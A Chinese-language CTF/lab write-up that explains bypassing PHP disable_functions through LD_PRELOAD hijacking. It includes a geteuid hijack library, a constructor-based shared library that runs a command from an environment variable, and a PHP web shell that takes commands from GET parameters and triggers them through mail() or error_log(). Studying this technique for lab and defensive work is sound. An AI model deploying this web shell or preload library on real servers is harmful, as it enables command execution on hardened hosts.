前言 之前遇到bypass_disablefunc 都是直接用蚁剑来打的。没有深入到利用里面,这次恰好遇到内部靶场babytrick这道题,不能简单的利用蚁剑来进行bypass,而是需要在对LD_PRELOAD 理解的基础上对已有脚本bypass_disablefunc.c和bypass_disablefunc.php进行修改,这篇文章参考网上博客和deepseek,重新梳理一下。
LD_PRELOAD LD_PRELOAD是LINUX系统的一个环境变量,默认情况下的值为空,在 Linux 中,动态链接器(如 ld-linux.so)负责在程序运行时加载所需的库。通常情况下,链接器会按照预定义的路径搜索库文件。如果你设置了 LD_PRELOAD,链接器会首先加载该变量中指定的库。如果预加载的库中包含与后续库(如 libc.so)同名 的函数,程序将优先使用预加载库中的版本。
可以复现个demo感受下劫持:
id.c:
1 2 3 4 5 6 7 #include <dlfcn.h> #include <unistd.h> #include <sys/types.h> uid_t geteuid( void ) { return 0; } uid_t getuid( void ) { return 0; } uid_t getgid( void ) { return 0; }
gcc -shared -o id.so id.c , 将id.c文件编译成id.so
接着export=./id.so 现在在执行id,可以发现变成root的了。
我们 ldd /usr/bin/id 可以发现id.so 在libc.so 等其他库前面被加载:
同名函数劫持 可以看到我们上面编译的id.c 里面用到了getuid函数,而本身/usr/bin/id命令对应的C程序里面main函数也调用了getuid函数。那么问题来了,为什么一定得保证同名呢?我们来看几张图:
动态链接器的工作原理:
利用条件 当我们进行同名函数劫持时,需要满足以下几个条件:
1.putenv未被禁用
2.有目录可以写文件
3.有可利用的函数,比如mail、error_log等,并且还要找到可利用的同名函数。
具体利用 这里以mail函数为例,php的mail函数本质上是会调用linux的sendmail函数,我们可以readelf -Ws /usr/sbin/sendmail 来看一下sendmail有哪些函数:
所以这里我们可以选择geteuid来劫持,要保持写的同名函数返回类型和参数类型及数量和原函数一致,test.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdlib.h> #include <stdio.h> #include <string.h> void payload () { system("ls" ); } int geteuid () { if (getenv("LD_PRELOAD" ) == NULL ) { return 0 ; }unsetenv("LD_PRELOAD" ); payload(); }
编译成.so 文件:
1 2 gcc -c -fPIC test.c -o test gcc --share test -o test.so
接着编写php文件:
1 2 3 4 <?php putenv ("LD_PRELOAD=./test.so" );mail ("" ,"" ,"" ,"" );?>
把.so文件和.php文件进行上传,访问php文件,可以发现执行了 ls命令。
无需同名函数劫持 按照上面同名函数劫持的情况,我们linux系统本身是得装了sendmail这个函数的,那如果没有装呢?是不是就利用不了了,对此有个更通用的解决方式:
1 2 3 4 __attribute__可以设置函数属性(Function Attribute)、变量属性(Variable Attribute)和类型属性(Type Attribute)。__attribute__前后都有两个下划线,并且后面会紧跟一对原括弧,括弧里面是相应的__attribute__参数 __attribute__语法格式为:__attribute__ ( ( attribute-list ) ) 若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行。类似的,若函数被设定为destructor属性,则该函数会在main()函数执行之后或者exit()被调用后被自动的执行。
主要是这句话:若函数被设定为constructor属性,则该函数会在main()函数执行之前被自动的执行
于是有了大佬的脚本:
bypass_disablefunc.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> extern char** environ; __attribute__ ((__constructor__)) void preload (void) { // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE"); // unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } } // executive command system(cmdline); }
bypass_disfunc.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>" ; $cmd = $_GET ["cmd" ]; $out_path = $_GET ["outpath" ]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1" ; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>" ; putenv ("EVIL_CMDLINE=" . $evil_cmdline ); $so_path = $_GET ["sopath" ]; putenv ("LD_PRELOAD=" . $so_path ); mail ("" , "" , "" , "" ); echo "<p> <b>output</b>: <br />" . nl2br (file_get_contents ($out_path )) . "</p>" ; unlink ($out_path ); ?>
根据实际情况的不同,这里mail函数要做相应的替换,这里可以看内部靶场1229-1011的babytrick那个例子。
1 2 3 mail("","","",""); //依赖sendmail error_log("", 1, "");//依赖sendmail @gnupg_import(gnupg_init(), "dummy");//